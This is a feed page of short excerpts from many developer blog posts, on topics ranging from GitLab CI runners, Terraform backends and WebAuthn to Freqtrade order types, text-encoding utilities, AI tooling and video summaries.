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    Mindmap Ziin started as a scratch pad for visual thinkers and turned into a polished, free SaaS built by a tiny team obsessed with flow. If you spend more time prepping your canvas than capturing ideas, this one’s for you. Instantly ready workspace Open the editor and a centered root node, zoom-fit canvas, and shortcut hints are already in place. No toolbars to rearrange or zoom to rescale. Keyboard-native UX Enter toggles inline edit, Tab adds a child, A adds a standalone node, M opens the context menu near your focus, and the arrow keys walk connected nodes or edges. You can map an entire sprint with barely a mouse click. Rich nodes and edges Images, PDFs, embeds, and draggable edge inspectors all live directly on the canvas. PDF nodes include a built-in viewer modal so you can present without popping out of the map. Smart sharing Each map is versioned in its own Git branch (GitHub or local Git). Flip a share badge when you’re ready, or stay private in guest mode—the data lives in your repo. Every save is a Git commit. If you ever need to revisit past thinking, the version view lets you jump back to any earlier state to inspect it before deciding what to restore. Sign in (or stay in guest mode). Create a map; the root node is created and auto-saved so you never lose the blank slate. Use Tab, Enter, and M to run. Paste images or drag PDFs as needed. When you want to share, hit save—Git commits the branch, and share badges appear in both the dashboard and editor. Mindmap Ziin is free to use, easy to self-host, and built openly with the community. If you like mind maps that feel more like thinking and less like wrangling tooling, give it a spin and let us know what you build.  ( 7 min )
    [Boost]
    The Hard Truth About Learning to Code (That No One Tells You) Hadil Ben Abdallah ・ Nov 13 #webdev #programming #productivity #learning  ( 5 min )
    CI/CD on Local Gitlab server| Setup GitLab Runner | Self-hosted GitLab
    Hello again! In Part 1 of Git on Localhost | Self-hosted GitLab series, we successfully installed our own self-hosted GitLab server in localhost using Docker. You may have even gone ahead, created your first project, and added a .gitlab-ci.yml file, only to see your pipeline get "stuck" with a pending status. If not, try setting up a project from your project list: Note: If you already setup a project and a pipeline to your local server, then skip the setup part & directly move to the next part. ⚠ Though its a part 2 article, but I mistakenly wrote 'part 3' in the Cover image! Sorry for that! 🙏🏻 first create a repository with a name Go CI Test,then add some code there from your pc: cd project_folder git init --initial-branch=main git remote add origin http://localhost:8080/root/ci-tes…  ( 10 min )
    WTF is Distributed Tracing?
    WTF is this: Distributed Tracing Edition What is Distributed Tracing? Here's an analogy to help you understand it better: Imagine you're sending a package from New York to Los Angeles. The package goes through multiple handlers – the sender, the sorting facility, the airline, and the delivery person. Distributed Tracing is like tracking the package at each stage, so you can see where it is, how long it took to get there, and if anything went wrong along the way. Why is it trending now? Another reason for its popularity is the increasing adoption of observability tools, which provide insights into system behavior and performance. Distributed Tracing is a key component of observability, as it helps teams understand the causal relationships between different components and services. Real-worl…  ( 11 min )
    Why Web Security and Data Privacy Are Essential for Modern Business Websites in 2025
    Written By: YAAM Web Solutions Team In today's digital landscape, web security and data privacy have become non-negotiable pillars of successful online business operations. As we navigate through 2025, businesses face unprecedented cyber threats that can compromise sensitive information, damage reputation, and result in severe financial losses. Understanding why web security and data privacy matter has never been more critical for organizations of all sizes. The Current State of Web Security and Data PrivacyWhy Businesses Can't Afford to Ignore Web SecurityThe Real Cost of Data Breaches in 2025Essential Website Security Best PracticesData Protection for Businesses: A Comprehensive GuideCybersecurity for Websites: Building Strong DefensesImplementing Secure Web Development from the Ground U…  ( 19 min )
    Best Practices and Patterns for Building Scalable .NET Backend APIs
    Modern backend systems must be scalable, reliable, observable, and maintainable. With .NET's maturity and ecosystem, developers can build production-grade APIs efficiently-but following good architectural and operational practices is key. 1. Architectural Patterns Clean Architecture (Onion): Philosophy: Business logic should be independent of frameworks, UI, and databases Dependency Rule: Dependencies point inward-domain knows nothing about other layers Testability: Domain logic can be tested without infrastructure Trade-off: Higher initial complexity, more abstractions Vertical Slice Architecture: Philosophy: Organize around features rather than technical concerns Benefit: Features are independent, reducing coupling Drawback: Potential code duplication across features Ideal For: Feature t…  ( 16 min )
    📘 DP-600 Complete Deep Dive Guide
    1️⃣ Dataflows Gen2 Definition Dataflows Gen2 is a low-code/no-code data integration and transformation tool in Microsoft Fabric that uses Power Query for ETL operations. When and Why Used When: You need to ingest data from multiple sources (CSV, databases, APIs) and transform it before loading into Lakehouse/Warehouse Why: Provides visual, user-friendly interface for data engineers without deep coding skills; supports incremental refresh; integrates directly with OneLake How It Works in Fabric Uses Power Query M language behind the scenes Connects to 100+ data sources Applies transformations (filter, merge, aggregate) Lands data into Lakehouse tables or files Supports staging (intermediate storage) for complex transformations Real-World Example A retail company receiv…  ( 13 min )
    Comment piloter votre coffre-fort Vaultwarden avec une IA (ou un simple script)
    Si vous auto-hébergez vos mots de passe avec Vaultwarden, vous savez que c'est une solution fantastique. Mais avez-vous déjà essayé de l'automatiser ? D'y accéder depuis un script ou, encore plus fou, de demander à une IA de récupérer un mot de passe pour vous ? C'est compliqué. La CLI officielle de Bitwarden (bw) n'est pas conçue pour une utilisation non-interactive. Il faut gérer des clés de session, des déverrouillages manuels... Pour résoudre ce problème, nous publions mcp-vaultwarden-server, un petit serveur open-source qui sert de pont sécurisé entre vos scripts (ou votre IA) et votre instance Vaultwarden. mcp-vaultwarden-server est un serveur léger que vous lancez sur une machine de confiance et qui expose des commandes simples pour interagir avec votre coffre. En coulisses, il util…  ( 7 min )
    Advanced Django Deployment on Seenode: Production-Ready Strategies for 2025
    git pull by hand (yes, really). Last month I migrated a client’s analytics tool to Seenode and hit the greatest hits of prod pain: connection pools melting down, static files mysteriously 404ing, and a DEBUG=True scare at 2 a.m. If you’ve ever whispered “just one last manual migration” before pushing to prod, consider this an intervention. What follows is the messy, opinionated playbook I’ve been carving out for years—the same advice I end up whiteboarding for mentees after we spend three hours chasing a missing comma in WhiteNoiseMiddleware. Screenshots come straight from my live Seenode project so you can copy the setup without guessing, and I’ve left in the false starts (because that’s what real deployments look like). Zero-patience TL;DR Harden settings.py, enable conn pooling, and tre…  ( 15 min )
    Andrew Huang: S4 2.0 is one of the most inspiring tools I've used
    TL;DR Andrew Huang teams up with Torso Electronics to showcase the new S4 2.0 – diving into its devices & FX, tempo/performance modes, mix & track pages, modulation, scenes, built-in mic, MIDI integration, live looper and instant resampling. He runs through every chapter with playful demos and shares stems on Discord. Between punchy examples and final thoughts, Huang’s genuinely blown away by how this compact groovebox sparks creativity, calling it one of the most inspiring tools he’s used—plus he peppers in affiliate links to all his favorite gear, plugins and his own music courses. Watch on YouTube  ( 6 min )
    The Future is "Zero-Trust" Automation: An Introduction to Flowork.
    Let's be real for a second. We love automation. We live for the idea of writing a script, hitting "run," and watching the magic happen. But let's also be honest about the cost of that magic. Right now, the entire world of automation, from simple scripts to complex CI/CD pipelines, is built on a terrifyingly fragile foundation: total trust. Think about it. You find a cool script on GitHub. What's the first thing it asks for? Your OPENAI_API_KEY, your GITHUB_TOKEN, your AWS_SECRET_KEY. You paste those keys into a .env file, cross your fingers, and pray the script only does what it says it will. That's insane, right? We're handing over the keys to the kingdom and just hoping for the best. This is the problem Flowork is designed to solve. It’s not just another automation tool like Zapier or Ma…  ( 12 min )
    This Python Workflow Automation Tool Finally Solved Dependency Hell.
    ## This Python Workflow Automation Tool Finally Solved Dependency Hell Let’s be real. If you’re a Python developer, you’ve been there. You’re in... the bad place. You know what I’m talking about. It starts simple. You just want to add a new feature. You type pip install some-cool-new-library. And then it happens. The terminal explodes in a shower of red text. ERROR: Cannot install some-cool-new-library==1.2 Because your project requires some-cool-new-library==1.1 Or worse, the dreaded cascade: ERROR: somelibrary 4.2.0 has requirement otherlibrary=1.1, but you'll have otherlibrary 3.0.0 which is incompatible. Welcome to Dependency Hell. It’s the digital equivalent of trying to build a LEGO castle where every brick you add mysteriously breaks three other bricks you already placed. F…  ( 11 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    TL;DR CinemaSins just dropped a 17-minute roast of Jurassic World: Rebirth, cataloguing every plot hole, recycled trope and dino misstep with their trademark snark. Along the way they plug their website, Discord, Reddit, poll (they really want your opinions) and even a Patreon for fans who can’t get enough of their “sins.” Watch on YouTube  ( 6 min )
    How Hackers Are Using AI to Craft Unstoppable Phishing Campaigns
    Phishing has always been a dangerous threat, but something fundamental shifted when artificial intelligence entered the equation. What once required weeks of meticulous planning and careful crafting by skilled attackers can now happen in minutes—completely automated, perfectly personalized, and nearly impossible to spot. The rise of AI-powered phishing represents one of the most significant challenges facing cybersecurity today, and organizations that haven't adapted their defenses are sitting ducks. The FBI has officially warned that criminals are now "leveraging AI to orchestrate highly targeted phishing campaigns," producing messages tailored to individual recipients with flawless grammar and contextual awareness. What used to be a telltale sign of phishing—spelling errors and awkward …  ( 10 min )
    🔐 Understanding WMI in Cybersecurity — A Simple Beginner’s Guide
    https://medium.com/@natarajanck2/what-is-wmi-in-cybersecurity-a-simple-beginner-friendly-explanation-eac2cf12774f  ( 5 min )
    Backtesting Strategies: Why Historical Data Matters
    In the world of quantitative trading and algorithmic investment strategies, backtesting is one of the most critical steps in validating an idea before it meets real market conditions. By simulating how a strategy would have performed using historical data, traders gain essential insights into its strengths, weaknesses, and long-term viability. What Is Backtesting? Backtesting is the process of applying trading rules to historical market data to evaluate how a strategy would have performed in the past. It allows traders to answer key questions: Would the strategy have been profitable? How frequently does it generate signals? How large were potential drawdowns? How sensitive is the strategy to changing market conditions? The goal is not to predict the future with certainty, but to understan…  ( 7 min )
    If I Don’t Eat Sugar, How Can I Still Get Diabetes?
    Many people are shocked when diagnosed with diabetes, often saying: “But doctor, I hardly eat sweets. How can I have diabetes?” Diabetes means your blood glucose (blood sugar) is higher than normal, but this isn’t just from eating table sugar or sweets like mithai. • Type 1 Diabetes: The body produces no insulin due to an autoimmune attack on pancreatic cells. • Type 2 Diabetes (most common): The body makes insulin, but cells don’t respond well (insulin resistance), and over time, the pancreas may produce less insulin. Result: Glucose builds up in the blood, leading to high blood sugar. Avoiding sweets is a smart step, but it doesn’t fully protect against diabetes. Here’s why: Insulin resistance is the primary driver of type 2 diabetes: Even without sweets, several factors increase diabete…  ( 9 min )
    QA VILLAIN PERCEPTION & TEAM DYNAMICS
    QA isn’t the villain. The real enemy is broken team dynamics. Some teams default to blaming QA for delays, friction, or “blocking the sprint.” That happens when engineering culture slips into speed-over-sense thinking. When QA raises a red flag, it’s treated like sabotage instead of risk control. The real issue isn’t QA. The fix is straightforward: clean communication channels, tight acceptance criteria, and a shared model of “done” that doesn’t rewrite itself every three days. Full breakdown → https://qajourney.net/qa-villain-perception-team-dynamics/  ( 6 min )
    How AI Transformed My Resume (and Landed Me More Interviews in 2025) — A Deep Dive with Real Prompts
    TL;DR: In 2025, AI isn’t just a tool; it’s your career’s secret weapon. Here’s how I used AI to revamp my resume, increase interview callbacks, and prepare for tougher hiring processes — complete with exact prompts you can reuse today. Why AI + Resume Optimization is the Ultimate Career Hack in 2025 Recruiters sift through hundreds of resumes per job posting. The game has changed — it’s no longer about flashy templates or buzzwords. AI models trained on job data, hiring trends, and ATS algorithms are reshaping how resumes are read and ranked. This means your resume needs to be: Laser-focused on measurable impact Optimized with relevant keywords for ATS Clear, concise, and human-friendly AI can analyze job descriptions and help craft a resume tailored perfectly to your dream role. My Step-b…  ( 7 min )
    Position-Candidate-Hypothesis (PCH) Paradigm: A New Research Direction for NP-Complete Problems
    🎯 Introduction After extensive investigation into NP-complete problems, I'm introducing the Position-Candidate-Hypothesis (PCH) Paradigm - a theoretical approach that explores structural-statistical analysis as an alternative to traditional combinatorial search methods. Important Notice: This work presents theoretical research and has not yet undergone peer review. The PCH paradigm is a conceptual framework requiring mathematical validation and empirical testing. This represents early-stage research, not a proven solution or production-ready algorithm. NP-complete problems present fundamental challenges in computer science. Traditional approaches based on combinatorial search face significant scalability limitations. The PCH paradigm investigates whether these problems can be reconceptu…  ( 7 min )
    Lesson 24.1: Freqtrade-Live Trading Order Placement Detailed Guide
    Lesson 24.1: Live Trading Order Placement Detailed Guide ⏱ Duration: 1.5 hours 🎯 Learning Objectives: Master various order placement operations on Binance exchange, understand use cases for different order types While Freqtrade automates trading decisions, understanding the underlying order placement mechanisms is crucial for strategy optimization and problem-solving. This lesson will cover: Various order types for Binance spot trading Use cases for different order types How to configure order types in Freqtrade Practical considerations for order placement Definition: Specifies price and quantity, executes only when reaching or better than the specified price. { "symbol": "BTCUSDT", "side": "BUY", "type": "LIMIT", "timeInForce": "GTC", "quantity": 0.001, "price": "30000.00" …  ( 13 min )
    第 24.1 课:Freqtrade-实盘交易下单操作详解
    第 24.1 课:实盘交易下单操作详解 ⏱ 课时:1.5 小时 🎯 学习目标:掌握币安交易所的各种下单操作,理解不同订单类型的使用场景 Freqtrade虽然自动化了交易决策,但理解底层的下单机制对于优化策略和解决问题至关重要。本课将详细介绍: 币安现货交易的各种订单类型 不同订单类型的适用场景 如何在Freqtrade中配置订单类型 实际下单操作的注意事项 定义:指定价格和数量,只在达到或优于指定价格时执行。 { "symbol": "BTCUSDT", "side": "BUY", "type": "LIMIT", "timeInForce": "GTC", "quantity": 0.001, "price": "30000.00" } 特点: ✅ 优点: - 价格可控,不会出现滑点 - 可以设置低于市价的买入价 - 可以设置高于市价的卖出价 - 适合趋势跟踪策略 ❌ 缺点: - 可能无法成交(价格未达到) - 需要主动管理未成交订单 - 在快速市场中可能错过机会 适用场景: 策略有明确的买入/卖出价格 不急于成交,可以等待理想价格 需要控制交易成本 避免市场冲击 定义:按市场当前最优价格立即成交。 { "symbol": "BTCUSDT", "side": "BUY", "type": "MARKET", "quantity": 0.001 } 特点: ✅ 优点: - 保证成交 - 执行速度快 - 适合紧急入场/出场 - 简单直接 ❌ 缺点: - 价格不可控,存在滑点 - 可能以较差价格成交 - 交易成本不确定 - 可能被"钓鱼" 适用场景: 止损订单(必须立即成交) 市场突破时追涨/杀跌 流动性好的主流币种 不在意小幅价格差异 定义:当价格触发指定止损价后,提交限价单。 { "symbol": "BT…  ( 10 min )
    ROBLOX made me think I sucked at making games.
    Before I begin, I want to say that this is just my experience with ROBLOX development, if ROBLOX clicks with you, great keep going. Everyone’s brain works differently. Like many others, I developed an interest in making games on ROBLOX, a platform that claims to make game development easy. I had spent years developing on ROBLOX, and didn’t really make much progress, best work being a game in which you complete a small obstacle course for custom admin commands. With actual games on ROBLOX, I’d always run into some snag that kept it from working how I want, like ROBLOX and its, in my opinion, terribly confusing UI positioning an scaling system, ‘udim2’, which for me, makes it impossible to scale menu systems to fit correctly on different devices as I don’t get it, or the cryptic puzzle that is attachments, welds, constraints. I also want to mention that for 2D elements, like UI, all game engines that I know use a much simpler approach, similar to that of a Vector2. I’m skipping a lot of in between here, quit game development for a while, tried Python and its amazing game engines, I tried the amazing LOVE2D, tried Godot recently. Godot really clicked with me, it reminded me of ROBLOX, but without my gripes I have with ROBLOX. I’ve been using Godot to work on a 2D platformer where you play as a wizard who can only cast spells while moving, forcing you to attack when possible and dodge when you can’t. Some might say I’m doing well because it’s a 2D game, but I’d like to point out that I’m also working on 3D games in Godot and still doing better than I ever did in ROBLOX. I shared my 2D game as an example because it’s the most complete. I just have to learn blender, which is a requirement for ROBLOX too depending on the game. The point is to find or create tools that click for you, just because I can’t develop on ROBLOX doesn’t mean I can’t make a game or that I should give up.  ( 7 min )
    Meaning of passwordless authentication for beginners (and let's make it)
    🧠 What does passwordless mean? Passwordless authentication means the user doesn’t type or even have a password. secure credential stored on their device — for example: a biometric (fingerprint, Face ID), a PIN, or a hardware key (like YubiKey). So the “something you know” (password) is replaced by something you have or are. 🔐 What is WebAuthn? WebAuthn (Web Authentication API) is a modern W3C web standard created by FIDO Alliance and major browsers (Google, Apple, Mozilla). It allows websites to use: Public-key cryptography instead of passwords. Secure devices (like your phone or laptop’s TPM or Secure Enclave) to generate and store credentials. 👉 When you register or log in with WebAuthn: Your browser talks to your device (called an authenticator). The device creates a k…  ( 8 min )
    💼 Real-Time Collaboration: The Secret Weapon of Modern Project Management
    It started with a simple mistake — two people edited the same file at the same time. Hours of work vanished. Deadlines slipped. Tension rose. If you’ve ever worked in a team that shares documents, tasks, or ideas remotely, you’ve probably experienced this chaos. But here’s the truth: it doesn’t have to be that way. Welcome to the age of real-time collaboration in project management — where updates happen instantly, communication flows naturally, and teams move as one. ⚡ 🌍 The Shift from “Working Together” to “Working in Sync” Traditional collaboration was simple — emails, file attachments, and long meetings. But as teams became remote, those old systems broke down. Now, businesses rely on project management tools like Asana, Trello, ClickUp, and Notion. Yet even these can fall short if th…  ( 8 min )
    ✅ Task 1 — Initialize a Terraform project with backend and provider blocks
    🎯 Real-World Scenario You just joined a company as a DevOps Engineer. Your manager asks you: “Set up a new Terraform project that uses AWS as the provider, and configure the backend so our state is stored safely in S3. Also, set up state locking using DynamoDB.” This is the first thing Terraform engineers do in any company. 🧩 What you will learn (Interview Value) What a provider is in Terraform Why Terraform uses a backend What state, remote backend, and state locking mean Why companies NEVER allow local state How to write backend and provider blocks How terraform init works internally These are asked in 90% of Terraform interviews. Create a folder: terraform-lab-01/ ├── main.tf ├── backend.tf ├── provider.tf Before Terraform can use backend, the backend must exist already. Cre…  ( 8 min )
    Architecting Large-Scale AWS Migrations Using AWS Application Migration Service (MGN) .
    Architecting Large-Scale AWS Migrations Using AWS Application Migration Service (MGN) & Cloud Studio 2.0 Kishore Karumanchi ・ Nov 15 #cloud #aws #architecture #mgn  ( 5 min )
    Architecting Large-Scale AWS Migrations Using AWS Application Migration Service (MGN) & Cloud Studio 2.0
    Introduction “Will the application work exactly the same after cutover?” AWS Application Migration Service (MGN) significantly simplifies rehosting, yet the architecture behind a scalable migration is where most projects struggle. In this blog, I will walk through how to architect large migrations using AWS MGN, combined with Cloud Studio 2.0, an accelerator that helps automate discovery, dependency mapping, and migration wave planning (Cloud Studio is a Wipro’s proprietary tool/ Platform, Instead of Cloud Studio tool you can use other third-party tools as well based on your requirement and use case, example Matilda etc.). These approaches come from real-world programs supporting enterprise customers transitioning hundreds of servers to AWS. 1. Migration Strategy: Why Rehost Still Matters …  ( 8 min )
    Issue #1: What is the Blockchain?
    Blockchain, web3, crypto. Terms that a lot of people use to refer to the same thing but they are quite different from each other while still being related. I decided to start a series on web3, Blockchain on particular, I am so much interested in this field and I am still learning, I want to share the little I know, so we can grow together. Most of what I will be sharing are middle-level to high level stuff, I just want those interested to have an idea of the concepts, you can always go further to learn more, without further ado, let's get started, shall we? Think of web3 as the decentralized internet, the same internet that your favorite websites and apps run on but with a twist. Rather than big tech companies running the show and "keeping" your data, you are in control. The Blockchain on the other hand, is the technology that powers web3, it is a decentralized ledger of connected computers (nodes) that store information where each node as its own copy of the ledger. It is "decentralized", meaning there is no single node that serves as the single source of truth for the entire Blockchain, the source of truth is that a majority of the nodes on the network have the same updated ledger. The ledger is a record that stores the state (fancy term for data) on the Blockchain, transactions can modify the state of the Blockchain. Anytime a transaction is sent, a node verifies that it is valid and adds it to its own copy of the Blockchain and then broadcasts it to other nodes on the network to add it to their respective copies, more on this in a future lesson. This way, a Blockchain is decentralized, permissionless and transparent. We will cover these concepts in next issue. Anticipate.  ( 6 min )
    Analytics Plugins That Reveal Hidden Support Bottlenecks
    Customer support is one of the most vital parts of any SaaS or service business — yet it’s often the most difficult to optimize. Your team might be answering tickets, tracking satisfaction scores, and closing conversations, but behind the scenes, support bottlenecks quietly eat up time, efficiency, and customer trust. The problem? Most analytics dashboards only show surface-level data — ticket volume, resolution time, and agent performance. What they don’t reveal is why issues keep repeating, where users struggle the most, or how internal workflows slow your team down. That’s where analytics plugins designed for support insight discovery come in. These tools don’t just measure — they interpret, connect, and highlight inefficiencies that traditional dashboards overlook. Let’s dig dee…  ( 10 min )
    UTF-8 Decoder — Turn Encoded Text Back Into Real Words 🧙‍♂️🔓
    If you’ve ever copied a URL parameter or data from an API and seen weird sequences like %E2%9C%93 or \u00E9, you know the pain of dealing with percent-encoded or UTF-8–encoded text. That’s where a UTF-8 Decoder comes to the rescue — it flips that encoded data back into readable, human-friendly text. With the UTF-8 Decoder from DevUtilX, you can quickly decode any percent-encoded or UTF-8–encoded string right in your browser — no back-and-forth, no weird glitches. A UTF-8 Decoder is a tool that takes text encoded in UTF-8 format — often seen in web contexts (like %C3%A9 for é) — and converts it back into actual characters. It’s especially helpful for reading data that’s been encoded in URLs, API responses, or form submissions. According to the tool’s own description, you can paste or type y…  ( 7 min )
    UTF-8 Encoder — Convert Text into the World’s Most Universal Encoding 🌍✨
    When working with web apps, APIs, or international content, one tiny thing can cause massive headaches: character encoding. Ever seen weird symbols like é or — popping up instead of normal characters? Yep… that’s an encoding issue — and UTF-8 is the hero that fixes it 🦸‍♂️. With the UTF-8 Encoder from DevUtilX, you can easily convert any text into safe, readable UTF-8 encoding. No errors, no weird symbols, just clean and compatible output every time. UTF-8 is the most widely-used character encoding in the world. It supports: English Emojis European characters Asian languages Special symbols Everything you can type… basically 😄 Websites, databases, APIs, and almost every modern system rely on UTF-8 for proper communication. If ASCII is a bicycle, UTF-8 is a Tesla 🚗⚡. Here’s why developers love using this tool: Converts any text to UTF-8 instantly Fixes broken text and weird characters Helps prevent database encoding issues Useful for APIs, JSON, HTML, URLs, logs, and more Zero setup — works directly in the browser It’s like having an encoding spell-checker 🪄🔤. Paste or type your text Click Encode Copy the clean UTF-8 output Use it safely anywhere That’s it. No terminal commands. No configuration. No encoding confusion 🙌. Fixing broken characters in JSON responses Cleaning text before storing it in databases Preparing multilingual content Encoding content for APIs Ensuring compatibility in web apps Repairing user-submitted content Any time text “looks weird,” the UTF-8 Encoder is your emergency button 🚨. Fix your encoding issues instantly: 👉 https://www.devutilx.com/tools/utf8-encoder DevUtilX provides 100+ free developer tools — formatters, converters, compressors, validators, generators, and more. It’s basically the developer version of a magical toolbox 🔧✨. Explore all tools here: 👉 https://www.devutilx.com/  ( 7 min )
    GZip Compressor — Shrink Your Files Like They’re on a Diet 🗜️🥗
    If you’ve ever tried sending or storing large files and felt like your server was screaming for help, then say hello to your new best friend: the GZip Compressor! This tool takes your bulky files, squeezes them like a stress ball, and gives you a tiny, lightweight version — all without losing any data. Developer magic at its finest 🪄✨. GZip is a widely used file compression format popular in web servers, APIs, static sites, and more. It works by removing repetitive patterns in your data and significantly shrinking file sizes. Think of it as vacuum-sealing your text files. Same content, way less space. Perfect for faster loading and happier servers 😌💨. Here are some reasons developers rely on GZip compression: Lightning-fast downloads Reduced bandwidth usage Faster website loading and better SEO Smaller backups and archive sizes Works exceptionally well for HTML, CSS, JS, JSON, XML, and other text-based formats If your website feels slow, GZip is basically its performance protein shake 💪🚀. Using the GZip Compressor is as simple as it gets: Paste your content or upload a file Click Compress Download your smaller GZip file instantly No CLI. No syntax. Zero complexity. Just efficient compression 🧘‍♂️. Compressing assets before deployment Reducing API response sizes Shrinking logs before archiving Speed-optimizing static websites Saving bandwidth on large text data transfers If it's text, GZip will squeeze it like a pro 🏆. Start compressing your files instantly: https://www.devutilx.com/tools/gzip-compressor DevUtilX provides 100+ free developer tools — from formatters to converters, compressors, encoders, beautifiers, debuggers, and way more. It’s basically the Swiss Army knife of developer utilities 🔧🧃. Explore all tools here: https://www.devutilx.com/  ( 7 min )
    The New AI Arms Race: How to Use GPT-4o and Google's Gemini to 10x Your Productivity
    The New AI Arms Race: How to Use GPT-4o and Google's Gemini to 10x Your Productivity The starting gun has fired, but most businesses don't even realize they're in a race. OpenAI's GPT-4o and Google's Gemini aren't just incremental updates; they are paradigm shifts in computational intelligence. While your competitors are treating these tools like novelties—generating clever emails or summarizing meeting notes—they are missing the strategic imperative. This isn't about playing with advanced chatbots. This is an arms race for efficiency, innovation, and market dominance. At Veltrex Labs, we don't just observe these technological shifts; we weaponize them for our clients. We see business leaders grappling with the potential of AI but struggling with the execution. They have the raw power of…  ( 11 min )
    Rick Beato: Jahari Stampley... I've Never Heard Playing Like This!
    Jahari Stampley walks us through his unlikely journey from eager student to champion of the Herbie Hancock Institute of Jazz Piano Competition, blending intense dedication with a fearless approach to harmony and rhythm. He demos the core of his style—lightning-fast runs, unorthodox voicings, and a fluid, story-driven sense of structure—that’s turning heads in the jazz scene. Along the way, he opens up about the trials, late-night breakthroughs, and wild experiments that shaped his signature sound. For anyone curious about where improvisational piano can go next, Jahari’s boundary-pushing techniques are a thrilling masterclass. Watch on YouTube  ( 6 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    In this Ringer Movies episode, Bill Simmons, Sean Fennessey, and Van Lathan don their film buff hats to rewatch Brian De Palma’s ‘Snake Eyes,’ starring Nicolas Cage, Gary Sinise, and Carla Gugino. They riff on the movie’s slick noir vibe, over-the-top plot twists, and why this underappreciated thriller still slithers into cult-classic territory. Brought to you by PayPal, the trio even weaves in some holiday cash-back tips as they unpack political intrigue, 90s sound design flourishes, and all the other reasons ‘Snake Eyes’ deserves a second look. Watch on YouTube  ( 6 min )
    Understanding the Role of Context in AI Agent Responses
    TL;DR Context determines how AI agents interpret user intent, select tools, retrieve knowledge, and generate trustworthy outputs. Robust context management spans prompt design, retrieval augmented generation (RAG), conversation memory, and governance signals. Teams should instrument LLM-aware tracing, run offline and online evals, and use simulations to validate behavior across scenarios. Maxim AI’s Experimentation, Evaluation, Simulation, Observability, and Bifrost gateway help engineering and product teams operationalize context for reliable, scalable agents. See the lifecycle in the Platform Overview and product pages. Context is the substrate of agent intelligence. It includes user inputs, historical turns, instructions, retrieved knowledge, tool outputs, and environment constraints.…  ( 9 min )
    How AI Batch Background Removal Helps Non-Designers Create Professional Visuals
    Not everyone has the time or skill to master Photoshop. But in today’s digital world, everyone needs good visuals — whether you’re building a personal brand, designing social posts, or launching a small business. For non-designers, creating professional-quality graphics often feels overwhelming. You want your visuals to stand out, but without hiring a designer or spending hours learning tools. That’s where AI batch background removal steps in — helping creators, freelancers, marketers, and small businesses instantly clean, polish, and align their images in bulk with minimal effort. Let’s explore how this simple AI feature is changing the way non-designers create high-quality visuals at scale. Your visuals are the first thing people notice. A messy background, inconsistent lightin…  ( 9 min )
    Leveraging Distributed Tracing for AI System Performance Insights
    TL;DR Distributed tracing reveals end-to-end behavior of AI systems across models, tools, and retrieval steps, enabling faster debugging, cost/latency optimization, and continuous quality monitoring. By instrumenting LLM-aware spans, correlating traces with evaluations, and closing the loop into datasets, engineering and product teams gain actionable insights to improve agent reliability at scale. See Maxim’s tracing and observability foundations in the Tracing Overview and Agent Observability resources. Distributed tracing is the backbone of AI observability. For agentic and LLM applications, traditional logs and metrics are insufficient because reasoning, tool usage, retrieval steps, and prompt variations form complex trajectories that impact user outcomes. Tracing provides structured …  ( 13 min )
    Implementing Efficient Data Management for AI Evaluations
    TL;DR Platform Overview AI evaluations are only as strong as the data lifecycle behind them. Efficient data management requires consistent artifacts, reproducible evaluation pipelines, and a feedback loop from production. This article lays out a practical approach anchored by Maxim AI’s core components—Experimentation, Simulation, Evaluation, Observability, and Data Engine—so teams can quantify quality, detect regressions, and improve AI reliability without duplicating fragmented work. Explore the platform’s pillars and how they interoperate. Platform Overview A successful evaluation program starts with a shared artifact model and governance. Use versioned prompts, curated datasets, reusable evaluators, and standardized trace schemas that engineering and product can co-own. Prompts as firs…  ( 10 min )
    The Easiest Way to Build Auditable, Cryptographically-Secure Workflows.
    🛑 Stop "Trusting." Start Proving. A Look Under the Hood of Flowork's Crypto-Secure Automation. (This Ain't Your Grandma's Audit Log). Let's paint a picture. It's Monday morning. You're barely halfway through your coffee when a frantic message lands from the finance team. "Yo, that billing workflow from six months ago? It might've screwed up a huge batch of invoices. We need you to pull the exact logic that ran at 2:15 AM on October 27th. Like, now." If you're using a typical cloud automation tool, this is the "oh crap" moment. You can probably find the current workflow. You might even have a "version history" that says, "Admin User updated this." But can you mathematically prove that the version you're looking at is the exact, unaltered code that executed? Can you prove it to a pissed-o…  ( 14 min )
    The Story Behind Peaceful Night, a Calm Space for Tired Minds
    Many people struggle to sleep because of stress, screens, or constant noise around them. When I looked for an app that could help, most options felt complicated, distracting, or filled with ads. I wanted something simpler. Something peaceful. Something anyone could use instantly. That single thought led to the creation of Peaceful Night. Why This App Exists No ads. What Peaceful Night Offers • Rain Each sound is carefully selected to create a gentle and comfortable listening experience. The app also includes helpful features such as a Favorites list, adjustable volume, Light and Dark themes, and customizable font size. The goal is to let you tap once, listen, and relax. Early Steps, Steady Growth Try the App Peaceful Night: Soothing Sounds Download now on Google play If you enjoy using it, a rating or short review will help the app reach more people. Share Your Thoughts What kind of sound helps you relax the most? Rain, waves, forest, or something else? Share it in the comments. I would love to know.  ( 7 min )
    checkout this article on Customer Lifetime Value CLV: Origins, Importance, Models, and Real-Life Applications
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    AI Education Booms: The U.S. States Leading the New Talent Wave
    Everyone's talking about the AI degree boom, but the real opportunity is how this talent wave will reshape hiring, training, and growth across the US. Most see more programs. Few see the shift in demand. The map of talent is changing faster than your hiring plan. Master’s AI degrees nearly tripled in three years. The South now leads in programs, with Texas on top. The Midwest is quietly accelerating. Online degrees are exploding, and many are business-focused. This means graduates who can tie models to P&L, not just papers. Your advantage is no longer who you know on the coasts. It’s how quickly you unlock new pools and upskill your team. ☑ Example: A 600-person distributor in Houston hired three online AI grads and paired them with ops. They cut manual forecasting 35% in 60 days and lifted on-time delivery 8%. Simple changes, proven results. ↓ How to tap this shift in 90 days. • Map the new supply. ↳ Shortlist five programs in TX, FL, and NC plus two in the Midwest. • Recruit for outcomes, not tool lists. ↳ Ask for a shipped workflow, a dashboard, or a cost save. • Upskill internally. ↳ Sponsor one online capstone per team and rotate wins in demos. • Partner with schools. ↳ Offer a real dataset and get a ready-to-hire pipeline. ⚡ You’ll widen your funnel, lower cost per hire, and ship value faster. The talent map just flipped, and early movers will win. Have you seen this in your industry?  ( 6 min )
    Customer Lifetime Value CLV: Origins, Importance, Models, and Real-Life Applications
